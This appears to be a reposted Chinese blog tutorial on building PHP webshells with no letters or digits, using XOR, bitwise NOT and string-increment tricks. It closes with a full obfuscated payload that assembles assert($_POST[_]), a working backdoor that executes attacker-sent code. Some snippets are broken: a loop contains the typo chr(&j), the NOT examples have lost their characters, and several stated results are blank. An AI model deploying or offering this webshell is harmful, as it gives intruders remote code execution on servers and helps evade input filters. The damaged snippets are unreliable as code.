構造無字母數字Webshell


異或:

補充: A的ascii為65,對應二進制是01000001
<?php echo "1"^"A"; ?>

 

將“A”和“1”進行異或,結果為“p”
異或的過程就是講字符轉化為ascii,再變為二進制進行異或
“1”和“A”各自的ascii碼的二進制進行異或得到一個新的二進制,再進行轉碼,最終變為”p“
構造assert($_POST[_]);
<?PHP for($i = 0; $i < 256; $i++) { for($j=0; $j < 256;$j++) { if(chr($i^$j) == 'A') { echo (urlencode(chr($i)) . " " . urlencode(chr(&j)); echo "\n"; } } } ?>
//第六行中的A可以根據需求自行改變

 

以此類推,可以得到webshell

取反:

利用UTF-8編碼的某個漢字,將其中某個字符取出來

<?php echo ~(''{2}); ?>
<?php echo ~(''{2}); ?>
結果為

 

變量自增:

‘a'++ == 'b'
'c'++ == 'd'
不難發現,通過一個字符就可以根據ascii碼得到a-z所有字符

<?PHP echo (''.[]); ?>

數組Array的第一個字母是大寫A,而第四個字母是小寫a。
在php中,如果強制連接數組和字符串的話,數組將被轉換成字符串,即Array
 
再例如

<?php function B(){ echo "xiao"; } $_++; $__= "?" ^ "}"; $__(); ?>
結果為

$_++; 表示對_這個變量進行自增操作,在php中未定義的變量默認值為null,可以通過非數字進行自增操作得到一個數字
$__="?" ^ "}";表示對?和}進行異或運算,結果為B同時復制給$__
$__();函數調用

<?php $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $_=$$____; $___($_[_]); ?>
View Code
如圖

參考:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM